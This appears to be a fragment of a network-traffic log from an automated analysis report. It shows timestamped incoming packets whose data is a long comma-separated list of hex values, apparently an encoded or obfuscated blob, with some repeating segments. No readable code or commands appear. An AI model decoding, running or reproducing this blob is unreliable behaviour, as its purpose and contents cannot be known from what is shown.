2023-04-20 23:05:30 UTC	19021	IN	Data Raw: 36 2c 33 63 2c 31 33 36 2c 31 31 66 2c 31 32 66 2c 31 36 30 2c 31 34 61 2c 38 32 2c 36 37 2c 66 31 2c 39 66 2c 31 31 61 2c 35 39 2c 61 64 2c 38 63 2c 31 33 32 2c 63 31 2c 35 38 2c 36 66 2c 34 35 2c 38 32 2c 31 35 30 2c 31 30 62 2c 31 34 61 2c 31 36 62 2c 35 37 2c 31 34 65 2c 31 35 35 2c 39 65 2c 31 32 32 2c 36 65 2c 31 34 31 2c 39 35 2c 38 32 2c 66 65 2c 66 39 2c 35 64 2c 31 33 61 2c 38 36 2c 64 36 2c 33 65 2c 61 64 2c 38 38 2c 34 65 2c 35 31 2c 36 35 2c 64 36 2c 65 39 2c 35 62 2c 64 36 2c 39 33 2c 31 31 32 2c 31 33 62 2c 31 33 39 2c 38 36 2c 31 35 65 2c 64 66 2c 31 32 64 2c 31 33 32 2c 31 34 31 2c 62 37 2c 66 38 2c 37 34 2c 31 31 65 2c 62 66 2c 31 32 35 2c 31 34 63 2c 64 66 2c 65 35 2c 31 34 62 2c 64 37 2c 31 34 64 2c 31 32 62 2c 31 35 61 2c 66 61 2c 31 Data Ascii: 6,3c,136,11f,12f,160,14a,82,67,f1,9f,11a,59,ad,8c,132,c1,58,6f,45,82,150,10b,14a,16b,57,14e,155,9e,122,6e,141,95,82,fe,f9,5d,13a,86,d6,3e,ad,88,4e,51,65,d6,e9,5b,d6,93,112,13b,139,86,15e,df,12d,132,141,b7,f8,74,11e,bf,125,14c,df,e5,14b,d7,14d,12b,15a,fa,1
2023-04-20 23:05:30 UTC	19037	IN	Data Raw: 2c 39 31 2c 38 66 2c 31 31 36 2c 31 31 62 2c 66 63 2c 31 31 34 2c 31 32 63 2c 31 34 36 2c 31 32 31 2c 36 64 2c 34 65 2c 64 30 2c 66 36 2c 61 34 2c 31 30 37 2c 31 33 36 2c 31 32 65 2c 31 34 31 2c 31 31 63 2c 31 34 36 2c 64 30 2c 39 63 2c 31 34 62 2c 62 32 2c 31 34 35 2c 31 30 37 2c 36 37 2c 38 36 2c 39 30 2c 37 35 2c 63 66 2c 31 35 64 2c 37 65 2c 66 36 2c 31 31 65 2c 66 32 2c 34 39 2c 38 31 2c 31 33 36 2c 31 32 36 2c 64 62 2c 35 62 2c 35 62 2c 31 36 38 2c 36 65 2c 39 63 2c 63 31 2c 36 66 2c 39 35 2c 39 38 2c 36 63 2c 37 39 2c 31 32 30 2c 38 39 2c 65 64 2c 31 34 61 2c 39 37 2c 37 64 2c 63 61 2c 35 64 2c 66 61 2c 36 35 2c 38 39 2c 37 36 2c 66 35 2c 66 36 2c 61 62 2c 64 37 2c 39 39 2c 38 65 2c 62 36 2c 37 36 2c 31 33 33 2c 31 30 32 2c 35 33 2c 36 66 2c 65 65 Data Ascii: ,91,8f,116,11b,fc,114,12c,146,121,6d,4e,d0,f6,a4,107,136,12e,141,11c,146,d0,9c,14b,b2,145,107,67,86,90,75,cf,15d,7e,f6,11e,f2,49,81,136,126,db,5b,5b,168,6e,9c,c1,6f,95,98,6c,79,120,89,ed,14a,97,7d,ca,5d,fa,65,89,76,f5,f6,ab,d7,99,8e,b6,76,133,102,53,6f,ee
2023-04-20 23:05:30 UTC	19053	IN	Data Raw: 2c 31 33 65 2c 64 32 2c 65 35 2c 31 30 62 2c 64 38 2c 63 37 2c 39 33 2c 36 63 2c 31 31 63 2c 37 31 2c 39 39 2c 38 65 2c 65 65 2c 31 33 30 2c 65 38 2c 39 36 2c 31 32 37 2c 31 30 36 2c 31 36 63 2c 66 63 2c 31 30 61 2c 36 30 2c 65 63 2c 31 35 65 2c 31 32 31 2c 35 31 2c 35 63 2c 64 35 2c 62 38 2c 36 35 2c 31 32 30 2c 39 35 2c 38 38 2c 31 30 63 2c 64 63 2c 31 30 35 2c 31 30 36 2c 64 61 2c 38 65 2c 35 39 2c 66 63 2c 31 33 66 2c 65 38 2c 62 65 2c 31 31 61 2c 31 30 63 2c 31 31 64 2c 65 36 2c 31 35 62 2c 31 32 38 2c 31 34 33 2c 63 36 2c 62 36 2c 65 32 2c 39 63 2c 31 34 33 2c 31 30 33 2c 35 34 2c 62 61 2c 66 36 2c 38 66 2c 31 33 32 2c 66 62 2c 31 31 33 2c 31 30 34 2c 66 66 2c 31 30 33 2c 65 65 2c 36 33 2c 66 62 2c 64 31 2c 38 37 2c 65 38 2c 64 37 2c 39 63 2c 39 35 Data Ascii: ,13e,d2,e5,10b,d8,c7,93,6c,11c,71,99,8e,ee,130,e8,96,127,106,16c,fc,10a,60,ec,15e,121,51,5c,d5,b8,65,120,95,88,10c,dc,105,106,da,8e,59,fc,13f,e8,be,11a,10c,11d,e6,15b,128,143,c6,b6,e2,9c,143,103,54,ba,f6,8f,132,fb,113,104,ff,103,ee,63,fb,d1,87,e8,d7,9c,95
2023-04-20 23:05:30 UTC	19069	IN	Data Raw: 31 35 32 2c 37 62 2c 35 35 2c 31 33 34 2c 31 35 66 2c 31 30 30 2c 66 64 2c 62 35 2c 31 34 36 2c 38 33 2c 31 33 61 2c 31 33 36 2c 31 33 65 2c 63 61 2c 65 34 2c 31 32 66 2c 65 39 2c 31 31 35 2c 37 65 2c 35 33 2c 66 66 2c 35 38 2c 66 36 2c 65 31 2c 39 63 2c 39 66 2c 66 33 2c 37 64 2c 31 30 64 2c 65 65 2c 31 31 37 2c 39 34 2c 39 35 2c 37 39 2c 65 30 2c 31 30 37 2c 31 36 31 2c 38 38 2c 31 30 36 2c 31 34 33 2c 36 36 2c 36 61 2c 38 61 2c 66 36 2c 63 64 2c 65 34 2c 31 32 64 2c 66 65 2c 39 65 2c 63 33 2c 39 63 2c 33 66 2c 31 32 30 2c 31 33 62 2c 31 33 37 2c 35 62 2c 36 37 2c 37 38 2c 31 32 36 2c 61 31 2c 31 31 39 2c 31 34 31 2c 36 35 2c 38 35 2c 66 61 2c 31 30 30 2c 62 31 2c 64 61 2c 31 36 65 2c 31 30 33 2c 65 38 2c 31 33 35 2c 66 35 2c 34 34 2c 31 33 39 2c 66 36 Data Ascii: 152,7b,55,134,15f,100,fd,b5,146,83,13a,136,13e,ca,e4,12f,e9,115,7e,53,ff,58,f6,e1,9c,9f,f3,7d,10d,ee,117,94,95,79,e0,107,161,88,106,143,66,6a,8a,f6,cd,e4,12d,fe,9e,c3,9c,3f,120,13b,137,5b,67,78,126,a1,119,141,65,85,fa,100,b1,da,16e,103,e8,135,f5,44,139,f6
2023-04-20 23:05:30 UTC	19085	IN	Data Raw: 31 32 30 2c 39 36 2c 31 34 33 2c 31 34 63 2c 31 32 33 2c 35 30 2c 31 30 37 2c 31 34 66 2c 31 31 35 2c 36 32 2c 31 34 31 2c 31 36 34 2c 31 33 65 2c 66 30 2c 31 34 35 2c 31 36 35 2c 37 33 2c 36 30 2c 31 32 63 2c 31 36 63 2c 31 31 62 2c 34 64 2c 31 30 34 2c 37 30 2c 66 66 2c 36 33 2c 31 32 63 2c 31 35 38 2c 31 33 38 2c 37 39 2c 31 31 31 2c 31 34 34 2c 31 32 30 2c 38 64 2c 31 33 66 2c 31 34 63 2c 31 32 33 2c 65 30 2c 31 30 37 2c 31 34 65 2c 31 31 35 2c 35 37 2c 31 32 65 2c 66 39 2c 31 33 65 2c 65 62 2c 31 34 36 2c 31 36 35 2c 66 33 2c 36 30 2c 31 32 63 2c 31 36 63 2c 31 31 62 2c 34 64 2c 31 30 34 2c 37 30 2c 66 66 2c 63 33 2c 31 30 63 2c 66 65 2c 31 33 38 2c 66 35 2c 31 31 33 2c 31 32 66 2c 31 32 30 2c 39 36 2c 31 34 33 2c 31 31 61 2c 31 32 33 2c 31 31 64 2c Data Ascii: 120,96,143,14c,123,50,107,14f,115,62,141,164,13e,f0,145,165,73,60,12c,16c,11b,4d,104,70,ff,63,12c,158,138,79,111,144,120,8d,13f,14c,123,e0,107,14e,115,57,12e,f9,13e,eb,146,165,f3,60,12c,16c,11b,4d,104,70,ff,c3,10c,fe,138,f5,113,12f,120,96,143,11a,123,11d,
2023-04-20 23:05:30 UTC	19101	IN	Data Raw: 34 2c 66 64 2c 62 61 2c 65 63 2c 39 34 2c 66 38 2c 39 38 2c 65 63 2c 62 62 2c 65 63 2c 63 38 2c 31 31 31 2c 39 63 2c 64 64 2c 62 38 2c 31 31 64 2c 64 62 2c 64 66 2c 62 38 2c 65 64 2c 39 31 2c 64 65 2c 61 32 2c 66 38 2c 64 64 2c 65 66 2c 63 61 2c 64 62 2c 64 39 2c 66 31 2c 38 65 2c 66 35 2c 62 34 2c 66 64 2c 62 61 2c 65 63 2c 39 34 2c 66 38 2c 39 38 2c 65 63 2c 62 62 2c 65 63 2c 63 38 2c 31 31 31 2c 39 63 2c 64 64 2c 62 38 2c 31 31 64 2c 64 62 2c 64 66 2c 62 38 2c 65 64 2c 39 31 2c 64 65 2c 61 32 2c 66 38 2c 64 64 2c 65 66 2c 63 61 2c 64 62 2c 64 39 2c 66 31 2c 38 65 2c 66 35 2c 62 34 2c 66 64 2c 62 61 2c 65 63 2c 39 34 2c 66 38 2c 39 38 2c 65 63 2c 62 62 2c 65 63 2c 63 38 2c 31 31 31 2c 39 63 2c 64 64 2c 62 38 2c 31 31 64 2c 64 62 2c 64 66 2c 62 38 2c 65 Data Ascii: 4,fd,ba,ec,94,f8,98,ec,bb,ec,c8,111,9c,dd,b8,11d,db,df,b8,ed,91,de,a2,f8,dd,ef,ca,db,d9,f1,8e,f5,b4,fd,ba,ec,94,f8,98,ec,bb,ec,c8,111,9c,dd,b8,11d,db,df,b8,ed,91,de,a2,f8,dd,ef,ca,db,d9,f1,8e,f5,b4,fd,ba,ec,94,f8,98,ec,bb,ec,c8,111,9c,dd,b8,11d,db,df,b8,e
2023-04-20 23:05:31 UTC	19117	IN	Data Raw: 2c 37 32 2c 63 32 2c 62 36 2c 36 38 2c 31 30 63 2c 34 32 2c 63 31 2c 61 37 2c 31 35 31 2c 31 30 33 2c 61 64 2c 38 38 2c 66 37 2c 61 34 2c 39 61 2c 37 30 2c 62 32 2c 62 38 2c 31 32 64 2c 65 31 2c 39 63 2c 35 36 2c 38 64 2c 61 32 2c 63 64 2c 31 34 32 2c 63 35 2c 34 39 2c 31 33 64 2c 62 61 2c 66 37 2c 63 63 2c 39 61 2c 31 32 63 2c 35 34 2c 38 30 2c 39 34 2c 31 32 34 2c 31 31 32 2c 31 35 33 2c 66 35 2c 31 35 33 2c 35 65 2c 31 30 39 2c 66 32 2c 62 38 2c 31 32 30 2c 35 33 2c 65 34 2c 62 63 2c 31 32 64 2c 62 66 2c 31 35 37 2c 62 66 2c 65 65 2c 36 36 2c 66 61 2c 64 34 2c 31 33 35 2c 37 61 2c 31 30 64 2c 38 39 2c 31 37 35 2c 39 61 2c 38 32 2c 37 66 2c 39 31 2c 34 31 2c 31 33 63 2c 61 33 2c 31 31 38 2c 31 32 34 2c 31 32 66 2c 31 30 35 2c 31 31 65 2c 31 36 38 2c 61 Data Ascii: ,72,c2,b6,68,10c,42,c1,a7,151,103,ad,88,f7,a4,9a,70,b2,b8,12d,e1,9c,56,8d,a2,cd,142,c5,49,13d,ba,f7,cc,9a,12c,54,80,94,124,112,153,f5,153,5e,109,f2,b8,120,53,e4,bc,12d,bf,157,bf,ee,66,fa,d4,135,7a,10d,89,175,9a,82,7f,91,41,13c,a3,118,124,12f,105,11e,168,a
2023-04-20 23:05:31 UTC	19133	IN	Data Raw: 2c 35 34 2c 34 31 2c 35 33 2c 37 39 2c 36 35 2c 36 39 2c 33 36 2c 37 35 2c 36 37 2c 32 64 2c 35 30 2c 35 30 2c 37 33 2c 35 39 2c 34 37 2c 33 30 2c 36 65 2c 33 37 2c 34 37 2c 35 37 2c 36 32 2c 36 37 2c 36 63 2c 33 38 2c 35 33 2c 35 37 2c 37 38 2c 37 37 2c 35 35 2c 35 37 2c 34 38 2c 32 64 2c 35 34 2c 34 31 2c 35 33 2c 37 39 2c 36 35 2c 36 39 2c 33 36 2c 37 35 2c 36 37 2c 32 64 2c 35 30 2c 35 30 2c 37 33 2c 35 39 2c 34 37 2c 33 30 2c 36 65 2c 33 37 2c 34 37 2c 35 37 2c 36 32 2c 36 37 2c 36 63 2c 33 38 2c 35 33 2c 35 37 2c 37 38 2c 37 37 2c 35 35 2c 35 37 2c 34 38 2c 32 64 2c 35 34 2c 34 31 2c 35 33 2c 37 39 2c 36 35 2c 36 39 2c 33 36 2c 37 35 2c 36 37 2c 32 64 2c 35 30 2c 35 30 2c 37 33 2c 35 39 2c 34 37 2c 33 30 2c 36 65 2c 33 37 2c 34 37 2c 35 37 2c 36 32 Data Ascii: ,54,41,53,79,65,69,36,75,67,2d,50,50,73,59,47,30,6e,37,47,57,62,67,6c,38,53,57,78,77,55,57,48,2d,54,41,53,79,65,69,36,75,67,2d,50,50,73,59,47,30,6e,37,47,57,62,67,6c,38,53,57,78,77,55,57,48,2d,54,41,53,79,65,69,36,75,67,2d,50,50,73,59,47,30,6e,37,47,57,62
2023-04-20 23:05:31 UTC	19149	IN	Data Raw: 2c 61 31 2c 34 38 2c 31 30 38 2c 66 31 2c 36 66 2c 34 37 2c 63 62 2c 36 35 2c 62 66 2c 31 35 37 2c 34 65 2c 61 62 2c 31 31 30 2c 31 34 63 2c 37 38 2c 35 35 2c 35 37 2c 63 62 2c 31 31 36 2c 35 39 2c 38 39 2c 35 34 2c 31 33 61 2c 62 38 2c 64 33 2c 33 36 2c 63 38 2c 64 31 2c 32 64 2c 61 31 2c 31 34 66 2c 31 34 33 2c 62 34 2c 66 66 2c 64 62 2c 37 62 2c 34 34 2c 34 37 2c 39 66 2c 36 33 2c 31 33 66 2c 63 39 2c 39 37 2c 62 31 2c 62 31 2c 64 31 2c 64 32 2c 31 35 34 2c 31 33 37 2c 38 32 2c 31 30 64 2c 38 33 2c 34 66 2c 35 34 2c 31 32 38 2c 61 38 2c 66 63 2c 34 34 2c 39 62 2c 31 32 65 2c 31 31 39 2c 38 36 2c 63 66 2c 63 31 2c 36 62 2c 36 30 2c 33 32 2c 61 35 2c 31 32 30 2c 31 33 32 2c 31 31 38 2c 31 31 64 2c 31 35 38 2c 31 31 30 2c 66 39 2c 31 33 36 2c 31 31 37 2c Data Ascii: ,a1,48,108,f1,6f,47,cb,65,bf,157,4e,ab,110,14c,78,55,57,cb,116,59,89,54,13a,b8,d3,36,c8,d1,2d,a1,14f,143,b4,ff,db,7b,44,47,9f,63,13f,c9,97,b1,b1,d1,d2,154,137,82,10d,83,4f,54,128,a8,fc,44,9b,12e,119,86,cf,c1,6b,60,32,a5,120,132,118,11d,158,110,f9,136,117,
2023-04-20 23:05:31 UTC	19165	IN	Data Raw: 33 2c 36 66 2c 31 30 33 2c 37 33 2c 36 32 2c 33 35 2c 63 39 2c 65 37 2c 63 66 2c 62 39 2c 37 38 2c 63 32 2c 61 62 2c 63 39 2c 64 37 2c 31 32 31 2c 61 38 2c 66 62 2c 38 39 2c 31 33 66 2c 31 34 32 2c 33 33 2c 31 34 35 2c 61 39 2c 62 63 2c 64 37 2c 36 62 2c 31 34 61 2c 61 66 2c 31 36 37 2c 62 61 2c 34 31 2c 36 63 2c 39 31 2c 31 30 64 2c 38 63 2c 34 62 2c 31 32 34 2c 62 37 2c 35 66 2c 39 61 2c 65 38 2c 31 30 36 2c 31 34 30 2c 37 39 2c 62 61 2c 38 66 2c 31 33 37 2c 37 62 2c 31 32 37 2c 31 34 34 2c 62 35 2c 39 33 2c 38 65 2c 66 38 2c 64 61 2c 35 38 2c 61 38 2c 36 61 2c 63 32 2c 33 64 2c 38 35 2c 38 38 2c 35 64 2c 31 32 62 2c 63 61 2c 37 62 2c 31 32 39 2c 61 64 2c 64 36 2c 39 36 2c 31 30 31 2c 61 38 2c 31 34 35 2c 64 37 2c 64 37 2c 62 38 2c 33 64 2c 36 38 2c 61 Data Ascii: 3,6f,103,73,62,35,c9,e7,cf,b9,78,c2,ab,c9,d7,121,a8,fb,89,13f,142,33,145,a9,bc,d7,6b,14a,af,167,ba,41,6c,91,10d,8c,4b,124,b7,5f,9a,e8,106,140,79,ba,8f,137,7b,127,144,b5,93,8e,f8,da,58,a8,6a,c2,3d,85,88,5d,12b,ca,7b,129,ad,d6,96,101,a8,145,d7,d7,b8,3d,68,a
2023-04-20 23:05:31 UTC	19181	IN	Data Raw: 61 34 2c 31 33 64 2c 64 63 2c 38 61 2c 31 32 31 2c 64 32 2c 31 34 32 2c 62 62 2c 38 33 2c 39 35 2c 34 35 2c 31 37 34 2c 31 32 64 2c 36 35 2c 37 32 2c 37 39 2c 31 33 63 2c 37 39 2c 31 32 38 2c 63 65 2c 31 33 66 2c 65 32 2c 31 33 39 2c 31 31 34 2c 38 65 2c 31 35 36 2c 31 33 38 2c 31 31 64 2c 62 31 2c 35 61 2c 31 33 36 2c 61 65 2c 31 33 65 2c 38 39 2c 39 37 2c 34 30 2c 37 63 2c 35 32 2c 31 33 65 2c 31 30 63 2c 31 30 33 2c 37 63 2c 31 31 39 2c 65 62 2c 63 65 2c 34 39 2c 65 39 2c 31 34 38 2c 64 35 2c 62 37 2c 38 66 2c 61 33 2c 31 35 32 2c 37 32 2c 66 34 2c 31 33 38 2c 37 34 2c 62 64 2c 31 33 38 2c 64 36 2c 31 34 32 2c 62 38 2c 63 36 2c 31 30 37 2c 63 30 2c 39 36 2c 31 31 62 2c 39 66 2c 64 32 2c 31 30 66 2c 66 38 2c 66 38 2c 39 36 2c 31 31 39 2c 37 31 2c 31 36 Data Ascii: a4,13d,dc,8a,121,d2,142,bb,83,95,45,174,12d,65,72,79,13c,79,128,ce,13f,e2,139,114,8e,156,138,11d,b1,5a,136,ae,13e,89,97,40,7c,52,13e,10c,103,7c,119,eb,ce,49,e9,148,d5,b7,8f,a3,152,72,f4,138,74,bd,138,d6,142,b8,c6,107,c0,96,11b,9f,d2,10f,f8,f8,96,119,71,16
2023-04-20 23:05:31 UTC	19197	IN	Data Raw: 61 2c 31 31 64 2c 65 39 2c 61 36 2c 64 62 2c 63 61 2c 37 34 2c 36 61 2c 38 62 2c 66 62 2c 35 34 2c 65 65 2c 63 36 2c 61 33 2c 31 30 61 2c 37 61 2c 61 34 2c 31 34 64 2c 63 39 2c 64 66 2c 37 65 2c 31 31 64 2c 38 32 2c 66 37 2c 66 64 2c 36 37 2c 31 33 65 2c 31 30 63 2c 31 34 64 2c 31 36 34 2c 34 39 2c 31 33 35 2c 31 33 66 2c 63 61 2c 39 35 2c 31 30 64 2c 31 31 35 2c 61 35 2c 31 33 65 2c 31 32 30 2c 31 33 35 2c 37 35 2c 36 63 2c 63 38 2c 64 36 2c 61 62 2c 31 33 62 2c 35 64 2c 66 63 2c 39 32 2c 31 30 61 2c 31 35 64 2c 66 31 2c 64 34 2c 66 62 2c 61 34 2c 36 65 2c 31 30 33 2c 64 31 2c 63 65 2c 65 61 2c 37 37 2c 31 31 65 2c 31 31 65 2c 66 35 2c 31 30 30 2c 66 38 2c 31 31 30 2c 31 34 61 2c 31 31 35 2c 31 33 65 2c 33 34 2c 31 32 35 2c 65 35 2c 65 34 2c 38 31 2c 65 Data Ascii: a,11d,e9,a6,db,ca,74,6a,8b,fb,54,ee,c6,a3,10a,7a,a4,14d,c9,df,7e,11d,82,f7,fd,67,13e,10c,14d,164,49,135,13f,ca,95,10d,115,a5,13e,120,135,75,6c,c8,d6,ab,13b,5d,fc,92,10a,15d,f1,d4,fb,a4,6e,103,d1,ce,ea,77,11e,11e,f5,100,f8,110,14a,115,13e,34,125,e5,e4,81,e
2023-04-20 23:05:31 UTC	19213	IN	Data Raw: 32 2c 37 61 2c 31 35 38 2c 31 31 33 2c 39 32 2c 31 34 30 2c 61 66 2c 37 34 2c 37 33 2c 61 30 2c 31 33 39 2c 66 62 2c 34 31 2c 31 31 33 2c 31 31 32 2c 37 39 2c 64 34 2c 31 30 63 2c 36 63 2c 35 32 2c 34 66 2c 63 66 2c 65 33 2c 66 62 2c 31 36 64 2c 36 63 2c 64 39 2c 37 37 2c 37 38 2c 66 63 2c 32 66 2c 35 62 2c 31 34 31 2c 37 37 2c 61 66 2c 63 65 2c 38 61 2c 63 63 2c 31 32 39 2c 39 38 2c 31 32 34 2c 39 61 2c 61 66 2c 31 35 31 2c 34 32 2c 31 31 61 2c 31 33 64 2c 31 32 34 2c 38 35 2c 31 33 37 2c 31 31 39 2c 35 61 2c 65 62 2c 38 30 2c 63 36 2c 31 32 30 2c 63 66 2c 36 39 2c 65 64 2c 37 66 2c 61 39 2c 66 32 2c 31 32 32 2c 31 32 63 2c 38 65 2c 65 35 2c 62 30 2c 37 39 2c 63 34 2c 31 34 62 2c 65 61 2c 31 31 32 2c 31 31 34 2c 31 33 33 2c 65 34 2c 38 64 2c 31 32 63 2c Data Ascii: 2,7a,158,113,92,140,af,74,73,a0,139,fb,41,113,112,79,d4,10c,6c,52,4f,cf,e3,fb,16d,6c,d9,77,78,fc,2f,5b,141,77,af,ce,8a,cc,129,98,124,9a,af,151,42,11a,13d,124,85,137,119,5a,eb,80,c6,120,cf,69,ed,7f,a9,f2,122,12c,8e,e5,b0,79,c4,14b,ea,112,114,133,e4,8d,12c,
2023-04-20 23:05:31 UTC	19229	IN	Data Raw: 38 39 2c 37 35 2c 31 32 65 2c 66 36 2c 31 34 30 2c 31 33 36 2c 31 32 38 2c 35 36 2c 66 35 2c 63 37 2c 38 33 2c 31 33 35 2c 31 31 39 2c 65 36 2c 38 62 2c 61 65 2c 31 33 65 2c 31 35 31 2c 36 62 2c 37 30 2c 37 65 2c 35 34 2c 31 32 30 2c 63 32 2c 64 31 2c 31 32 63 2c 65 31 2c 37 37 2c 37 62 2c 66 64 2c 31 34 30 2c 64 37 2c 31 33 64 2c 36 39 2c 31 31 37 2c 36 33 2c 62 61 2c 61 36 2c 39 30 2c 62 64 2c 39 31 2c 31 36 61 2c 35 39 2c 31 34 30 2c 31 30 66 2c 63 30 2c 36 37 2c 66 63 2c 31 32 37 2c 31 31 37 2c 31 33 64 2c 65 37 2c 31 33 34 2c 65 36 2c 66 63 2c 31 33 32 2c 31 35 30 2c 31 33 62 2c 64 36 2c 63 63 2c 39 61 2c 31 30 65 2c 37 39 2c 66 63 2c 31 33 39 2c 61 39 2c 39 36 2c 38 32 2c 31 30 63 2c 31 32 39 2c 65 65 2c 31 32 64 2c 39 34 2c 31 30 63 2c 66 30 2c 31 Data Ascii: 89,75,12e,f6,140,136,128,56,f5,c7,83,135,119,e6,8b,ae,13e,151,6b,70,7e,54,120,c2,d1,12c,e1,77,7b,fd,140,d7,13d,69,117,63,ba,a6,90,bd,91,16a,59,140,10f,c0,67,fc,127,117,13d,e7,134,e6,fc,132,150,13b,d6,cc,9a,10e,79,fc,139,a9,96,82,10c,129,ee,12d,94,10c,f0,1
2023-04-20 23:05:32 UTC	19245	IN	Data Raw: 2c 31 31 38 2c 38 36 2c 62 61 2c 31 32 31 2c 66 38 2c 66 36 2c 31 30 66 2c 31 34 30 2c 62 37 2c 37 33 2c 31 33 34 2c 61 65 2c 37 61 2c 38 35 2c 38 63 2c 39 37 2c 39 37 2c 31 31 61 2c 66 62 2c 31 33 37 2c 36 38 2c 64 39 2c 37 34 2c 31 30 35 2c 66 35 2c 63 33 2c 31 33 38 2c 31 30 64 2c 37 63 2c 61 34 2c 61 63 2c 37 38 2c 31 34 66 2c 65 62 2c 31 34 63 2c 66 37 2c 35 65 2c 31 30 37 2c 31 34 35 2c 31 36 38 2c 36 64 2c 65 62 2c 31 30 64 2c 36 64 2c 65 34 2c 31 32 39 2c 31 32 37 2c 61 35 2c 38 61 2c 31 35 66 2c 31 31 63 2c 31 34 61 2c 61 39 2c 39 61 2c 63 37 2c 37 64 2c 31 33 63 2c 65 39 2c 36 33 2c 66 64 2c 31 32 62 2c 37 61 2c 39 31 2c 66 31 2c 31 34 66 2c 31 36 35 2c 39 36 2c 31 32 31 2c 64 66 2c 61 63 2c 31 30 61 2c 31 34 64 2c 31 30 64 2c 36 64 2c 62 35 2c Data Ascii: ,118,86,ba,121,f8,f6,10f,140,b7,73,134,ae,7a,85,8c,97,97,11a,fb,137,68,d9,74,105,f5,c3,138,10d,7c,a4,ac,78,14f,eb,14c,f7,5e,107,145,168,6d,eb,10d,6d,e4,129,127,a5,8a,15f,11c,14a,a9,9a,c7,7d,13c,e9,63,fd,12b,7a,91,f1,14f,165,96,121,df,ac,10a,14d,10d,6d,b5,
2023-04-20 23:05:32 UTC	19261	IN	Data Raw: 36 2c 31 34 66 2c 37 34 2c 31 35 37 2c 64 38 2c 31 30 30 2c 61 36 2c 31 34 36 2c 31 35 63 2c 64 35 2c 31 30 39 2c 37 35 2c 39 36 2c 33 39 2c 31 31 65 2c 39 63 2c 39 65 2c 37 32 2c 31 33 34 2c 62 30 2c 62 61 2c 61 36 2c 31 30 31 2c 31 34 36 2c 31 34 35 2c 62 35 2c 65 65 2c 38 37 2c 31 31 65 2c 38 63 2c 63 38 2c 64 34 2c 31 30 37 2c 31 30 35 2c 31 31 66 2c 61 61 2c 31 31 39 2c 31 31 38 2c 38 39 2c 62 63 2c 37 62 2c 36 37 2c 31 33 36 2c 38 64 2c 38 65 2c 65 32 2c 64 61 2c 31 34 36 2c 38 61 2c 31 32 64 2c 31 33 30 2c 66 30 2c 31 34 62 2c 62 35 2c 31 33 62 2c 64 65 2c 31 32 38 2c 64 30 2c 64 31 2c 35 39 2c 65 33 2c 31 33 35 2c 61 35 2c 31 36 36 2c 31 30 61 2c 66 66 2c 66 62 2c 31 31 39 2c 66 33 2c 66 35 2c 31 31 38 2c 65 36 2c 62 35 2c 62 65 2c 31 31 65 2c 64 Data Ascii: 6,14f,74,157,d8,100,a6,146,15c,d5,109,75,96,39,11e,9c,9e,72,134,b0,ba,a6,101,146,145,b5,ee,87,11e,8c,c8,d4,107,105,11f,aa,119,118,89,bc,7b,67,136,8d,8e,e2,da,146,8a,12d,130,f0,14b,b5,13b,de,128,d0,d1,59,e3,135,a5,166,10a,ff,fb,119,f3,f5,118,e6,b5,be,11e,d
2023-04-20 23:05:32 UTC	19277	IN	Data Raw: 2c 66 36 2c 31 30 37 2c 31 31 62 2c 64 62 2c 31 35 34 2c 66 36 2c 36 36 2c 64 65 2c 31 34 30 2c 33 38 2c 31 33 31 2c 31 34 65 2c 39 31 2c 64 39 2c 31 32 64 2c 61 65 2c 31 31 37 2c 62 64 2c 31 30 32 2c 31 33 30 2c 38 34 2c 36 38 2c 31 30 37 2c 31 31 30 2c 38 66 2c 31 31 65 2c 38 34 2c 31 36 34 2c 66 36 2c 37 61 2c 38 35 2c 31 31 30 2c 31 31 36 2c 34 63 2c 62 62 2c 62 38 2c 38 39 2c 36 63 2c 65 39 2c 31 30 31 2c 37 66 2c 36 61 2c 37 36 2c 31 33 66 2c 39 32 2c 37 38 2c 64 61 2c 66 32 2c 38 33 2c 63 37 2c 39 64 2c 36 38 2c 36 35 2c 66 65 2c 36 66 2c 33 65 2c 35 64 2c 39 63 2c 31 35 34 2c 31 31 65 2c 64 37 2c 31 33 66 2c 35 36 2c 38 62 2c 31 32 31 2c 34 37 2c 62 30 2c 39 39 2c 38 35 2c 62 30 2c 35 39 2c 39 34 2c 31 32 30 2c 38 64 2c 31 30 31 2c 36 64 2c 37 62 Data Ascii: ,f6,107,11b,db,154,f6,66,de,140,38,131,14e,91,d9,12d,ae,117,bd,102,130,84,68,107,110,8f,11e,84,164,f6,7a,85,110,116,4c,bb,b8,89,6c,e9,101,7f,6a,76,13f,92,78,da,f2,83,c7,9d,68,65,fe,6f,3e,5d,9c,154,11e,d7,13f,56,8b,121,47,b0,99,85,b0,59,94,120,8d,101,6d,7b
2023-04-20 23:05:32 UTC	19293	IN	Data Raw: 30 2c 36 33 2c 31 35 64 2c 31 34 39 2c 64 31 2c 62 38 2c 39 30 2c 36 34 2c 64 37 2c 31 34 63 2c 63 30 2c 39 65 2c 31 35 63 2c 66 37 2c 63 39 2c 31 31 36 2c 31 36 63 2c 31 30 36 2c 31 32 30 2c 31 31 62 2c 37 31 2c 63 35 2c 62 61 2c 34 63 2c 31 30 31 2c 62 39 2c 65 62 2c 39 34 2c 38 64 2c 31 36 33 2c 31 33 66 2c 37 39 2c 31 33 31 2c 65 62 2c 31 33 39 2c 38 32 2c 31 31 38 2c 39 61 2c 31 30 62 2c 66 38 2c 31 30 65 2c 31 32 34 2c 63 64 2c 31 33 32 2c 31 30 34 2c 36 35 2c 35 62 2c 65 39 2c 63 65 2c 31 36 65 2c 35 61 2c 61 61 2c 31 31 61 2c 61 32 2c 31 32 61 2c 66 62 2c 35 38 2c 31 37 37 2c 39 39 2c 38 64 2c 31 33 35 2c 31 31 37 2c 31 30 64 2c 62 66 2c 39 31 2c 35 35 2c 39 62 2c 31 31 62 2c 63 34 2c 61 65 2c 64 30 2c 66 31 2c 39 36 2c 31 32 32 2c 31 33 62 2c 62 Data Ascii: 0,63,15d,149,d1,b8,90,64,d7,14c,c0,9e,15c,f7,c9,116,16c,106,120,11b,71,c5,ba,4c,101,b9,eb,94,8d,163,13f,79,131,eb,139,82,118,9a,10b,f8,10e,124,cd,132,104,65,5b,e9,ce,16e,5a,aa,11a,a2,12a,fb,58,177,99,8d,135,117,10d,bf,91,55,9b,11b,c4,ae,d0,f1,96,122,13b,b
